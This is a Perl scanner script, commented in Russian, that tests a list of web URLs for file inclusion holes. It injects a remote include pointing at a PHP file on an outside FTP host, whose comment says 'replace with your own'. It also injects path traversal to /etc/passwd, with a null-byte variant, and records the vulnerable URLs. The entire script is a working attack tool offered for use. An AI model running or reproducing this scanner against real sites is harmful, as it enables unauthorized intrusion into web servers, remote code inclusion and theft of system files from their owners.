#!perl
use LWP
$list = ""; # Путь к файлу с сылками
$res = ""; # Путь к сохранению результата
$rshell = 'ftp://omfg0o:spyder@ftp.narod.ru/antichat.php?.html'; # Удалённый инклуд, поменять на своё значение
$lshell = '/../../../../../../../../../../../../../../../../../../../../etc/passwd'; # Локальный инклуд
$timeout = 15;
$var = "$ARGV[0]";
open (LIST, "$list") or die $!;
open (RES, ">$res") or die $!;
while (<LIST>) {
	$_=~ /$var/;
	$url = "$`"."$var"."="."$rshell";
	print "Now checking : $url\n";
	$agent = LWP::UserAgent->new();
	$agent -> timeout($timeout);
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/ANTICHAT/) {
		print RES "$url\n";
	}
	$url = "$`"."$var"."="."$lshell";
	print "Now checking : $url\n";
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/root:x:0:0/) {
		print RES "$url\n";
	} else {
	$url = "$`"."$var"."="."$lshell".'%00';
	print "Now checking : $url\n";
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/root:x:0:0/) {
		print RES "$url\n";
	}
	}
}